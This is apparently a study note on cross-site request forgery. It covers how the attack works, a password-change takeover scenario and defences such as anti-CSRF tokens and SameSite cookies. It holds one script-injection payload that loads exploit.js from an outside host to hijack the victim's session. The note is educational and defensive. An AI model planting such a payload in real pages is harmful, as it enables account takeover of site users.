Cross-Site Request Forgery (CSRF)
Overview
- CSRF occurs when malicious actions are performed on behalf of an authenticated user without their consent.
- Also check: XSS and XSRF
- Often works in tandem with XSS or leverages vulnerabilities in HTTP parameters or API endpoints.
- Goal: Trick the browser into sending authenticated requests to perform actions as the victim user.
How CSRF Works
- User is already logged in to a web application.
- Attacker injects malicious JavaScript or creates a fake page.
- The browser automatically includes the victim's cookies with the malicious request.
Example Attack: Password Change
- Attacker crafts a JavaScript payload that changes the victim’s password.
- Injects it into a vulnerable page (e.g., a comment).
- When the victim views the page, the JavaScript executes:
- Uses their session to change the password.
- Attacker can now log in using the new password.
External JavaScript Example
"><script src=//www.example.com/exploit.js></script>
- The external JS file (
exploit.js) contains the code automation to change the password. - Requires knowledge of the app’s password reset API or form submission.
Risks
- Account takeover (users or admins)
- Privilege escalation
- Server compromise (if admins are targeted)
- Data loss or manipulation
Prevention
Input Controls
| Type | Description |
|---|---|
| Sanitization | Remove special/non-standard characters from user input. |
| Validation | Ensure input matches expected formats (e.g., emails, usernames). |
- Sanitize input before it's stored or displayed.
- Sanitize output to neutralize any injected scripts.
Browser and Server-Level Defenses
- Anti-CSRF tokens:
- Unique per session/request.
- Verified server-side before processing requests.
- SameSite Cookie Attribute:
SameSite=StrictorLaxprevents cross-origin requests from including cookies.
- Functional Barriers:
- Require re-authentication for sensitive actions (e.g., password change).
- Web Application Firewall (WAF):
- Adds an extra layer of defense.
- Can detect/block suspicious patterns but should not be solely relied upon.
Modern Defenses (and Limitations)
- Browsers:
- Block auto-execution of certain JavaScript patterns.
- Applications:
- Use tokens, session validation, and same-origin checks.
Despite all protections, no solution is 100% foolproof. Developers must design applications with layered security and secure coding best practices.
Additional Resources
- OWASP CSRF Prevention Cheat Sheet
- Comprehensive guidelines for defending against CSRF attacks.
- This Cross-Site Request Forgery Prevention Cheat Sheet from OWASP discusses the attack and prevention measures in greater detail.